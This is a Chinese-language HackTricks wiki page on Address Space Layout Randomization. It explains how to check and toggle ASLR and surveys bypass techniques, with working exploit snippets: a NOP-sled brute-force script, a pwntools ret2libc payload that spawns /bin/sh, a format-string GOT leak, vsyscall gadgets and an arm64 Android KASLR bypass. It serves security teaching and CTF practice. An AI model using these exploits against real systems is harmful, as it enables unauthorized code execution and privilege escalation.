ASLR
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Address Space Layout Randomization (ASLR) 是操作系统中使用的一种安全技术,用于随机化内存地址,这些内存地址被系统和应用进程使用。通过这样做,攻击者就更难预测特定进程和数据的位置,比如 stack、heap 和 libraries,从而缓解某些类型的漏洞利用,尤其是 buffer overflows。
检查 ASLR 状态
在 Linux 系统上,要 检查 ASLR 状态,可以读取 /proc/sys/kernel/randomize_va_space 文件中的值。此文件中存储的值决定所应用的 ASLR 类型:
- 0: No randomization. Everything is static.
- 1: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
- 2: Full randomization. In addition to elements randomized by conservative randomization, memory managed through
brk()is randomized.
你可以使用以下命令检查 ASLR 状态:
cat /proc/sys/kernel/randomize_va_space
禁用 ASLR
要禁用 ASLR,设置 /proc/sys/kernel/randomize_va_space 的值为 0。通常不建议在测试或调试场景之外禁用 ASLR。下面是如何禁用它:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
你也可以在执行时禁用 ASLR:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
启用 ASLR
要 启用 ASLR,可以将值 2 写入 /proc/sys/kernel/randomize_va_space 文件。 这通常需要 root 权限。可以使用以下命令启用完全随机化:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
在重启后保持持久性
使用 echo 命令所做的更改是临时的,重启后会被重置。要使更改持久化,需要编辑 /etc/sysctl.conf 文件并添加或修改以下行:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
编辑 /etc/sysctl.conf 后,使用以下命令应用更改:
sudo sysctl -p
这将确保你的 ASLR 设置在重启后保持不变。
绕过
32bit brute-forcing
PaX 将进程地址空间划分为 3 组:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 在delta_exec变量中有 16 bits 的熵。该变量在每个进程中随机初始化并加到初始地址上。 - Memory allocated by
mmap()and shared libraries —> 16 bits,命名为delta_mmap。 - The stack —> 24 bits,称为
delta_stack。然而,它实际上使用 11 bits(从第10到第20字节,包括两端),按 16 bytes 对齐 —> 这导致 524,288 个可能的真实栈地址。
上述数据适用于 32-bit 系统,降低后的最终熵使得通过反复重试执行直到 exploit 成功来绕过 ASLR 成为可能。
Brute-force ideas:
- 如果你有足够大的 overflow 可以在 shellcode 之前容纳一个 big NOP sled,你可以对栈地址进行 brute-force,直到控制流跳过 NOP sled 的某一部分。
- 另一种选择是在 overflow 不够大且 exploit 可以本地运行的情况下,将 NOP sled 和 shellcode 放入环境变量 中。
- 如果 exploit 是本地的,你可以尝试 brute-force libc 的基地址(对 32bit 系统有用):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 如果攻击远程服务器,你可以尝试 brute-force the address of the
libcfunctionusleep, 将参数设为 10(例如)。如果某次 server takes 10s extra to respond,那么你就找到了该函数的地址。
Tip
在 64bit 系统中熵值高得多,这不应该可行。
64 bits stack brute-forcing
可以使用 env variables 占据 stack 的大部分,然后在本地对 binary 进行数百或数千次滥用以实现利用。
下面的代码展示了如何 仅选择 stack 中的一个地址,并且每隔几百次执行该地址就会包含 NOP instruction:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP 检测
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### 本地信息 (`/proc/[pid]/stat`)
进程的文件 **`/proc/[pid]/stat`** 对所有人可读,且 **包含以下有趣的信息**,例如:
- **startcode** & **endcode**:标注了二进制中 **TEXT** 段的上下地址
- **startstack**:**stack** 的起始地址
- **start_data** & **end_data**:标注了 **BSS** 的上下地址
- **kstkesp** & **kstkeip**:当前的 **ESP** 和 **EIP** 地址
- **arg_start** & **arg_end**:标注了 **cli arguments** 的上下地址
- **env_start** &**env_end**:标注了 **env variables** 的上下地址
因此,如果 attacker 与被利用的 binary 在同一台计算机上,并且该 binary 不是期望从 raw arguments 发生 overflow,而是从读取该文件后可以构造的不同 input 触发,那么 attacker 可以从该文件获取一些地址,并基于这些地址构造 offsets 来进行 exploit。
> [!TIP]
> 有关此文件的更多信息,请查看 [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) 并搜索 `/proc/pid/stat`
### 有 leak
- **该 challenge 会给出 leak**
如果你得到了一个 leak(例如在容易的 CTF challenges 中),你可以基于它计算 offsets(例如假设你知道被你利用的系统上使用的确切 libc 版本)。该 example exploit 摘自 [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)(查看该页面以获取更多细节):
<details>
<summary>具有给定 libc leak 的 Python exploit</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
滥用 buffer overflow,可以利用 ret2plt 来泄露 libc 中某个函数的地址。查看:
- Format Strings Arbitrary Read
正如在 ret2plt 中,如果你通过 format strings vulnerability 获得 arbitrary read,就可以从 GOT 中泄露 libc function 的地址。下面的 example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
你可以在以下位置找到关于 Format Strings arbitrary read 的更多信息:
Ret2ret & Ret2pop
尝试通过滥用栈内的地址来绕过 ASLR:
vsyscall
The vsyscall 机制通过允许某些 system calls 在 user space 执行(尽管它们本质上属于 kernel)以提高性能。vsyscalls 的关键优势在于它们具有固定地址,不受 ASLR (Address Space Layout Randomization) 的影响。这种固定性意味着攻击者不需要信息 leak 漏洞就能确定这些地址并在 exploit 中使用它们。
然而,这里通常找不到特别有趣的 gadgets(尽管例如有可能得到一个等价于 ret; 的指令)
(The following example and code is from this writeup)
例如,攻击者可能在 exploit 中使用地址 0xffffffffff600800。尝试直接跳转到一个 ret 指令可能会在执行几个 gadgets 后导致不稳定或崩溃,但跳到 vsyscall 部分提供的 syscall 起始处可能会成功。通过小心放置一个将执行流引导到该 vsyscall 地址的 ROP gadget,攻击者可以在 exploit 的这一部分实现代码执行,而无需为这一部分绕过 ASLR。
示例 vmmap/vsyscall 及 gadget 查找
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
注意:如果内核以 CONFIG_COMPAT_VDSO 编译且 vdso 地址不会随机化,则可能可以通过滥用 vdso 来绕过 ASLR。更多信息请参见:
KASLR on ARM64 (Android): 通过固定 linear map 绕过
在许多 arm64 Android 内核上,kernel linear map (direct map) 的基址在多次引导间保持固定。物理页的内核虚拟地址变得可预测,从而对通过 direct map 可达的目标破坏了 KASLR。
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsyms来查找memstart_addr- 使用任意 kernel 读取(例如 tracing-BPF helper 调用
BPF_FUNC_probe_read_kernel)以小端读取该地址处的 8 字节 - 计算 direct-map 虚拟地址:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- 如果目标位于或可通过 direct map 访问,则不需要单独的 KASLR leak(例如,可控/可观测的物理页上的页表、内核对象)。
- 简化了在 arm64 Android 上实现可靠的任意 R/W 并定位内核数据。
Reproduction summary
grep memstart /proc/kallsyms->memstart_addr的地址- kernel read -> 解码 8 字节 LE ->
PHYS_OFFSET - 使用
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET),其中PAGE_OFFSET=0xffffff8000000000
Note
访问 tracing-BPF helpers 需要足够的权限;任何 kernel 读取原语或 info leak 都足以获取
PHYS_OFFSET。
修复方式
- 有限的内核 VA 空间加上 CONFIG_MEMORY_HOTPLUG 为将来 hotplug 保留 VA,从而把 linear map 推到最低的 VA(固定基址)。
- upstream arm64 已移除 linear-map 随机化(commit
1db780bafa4c)。
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks

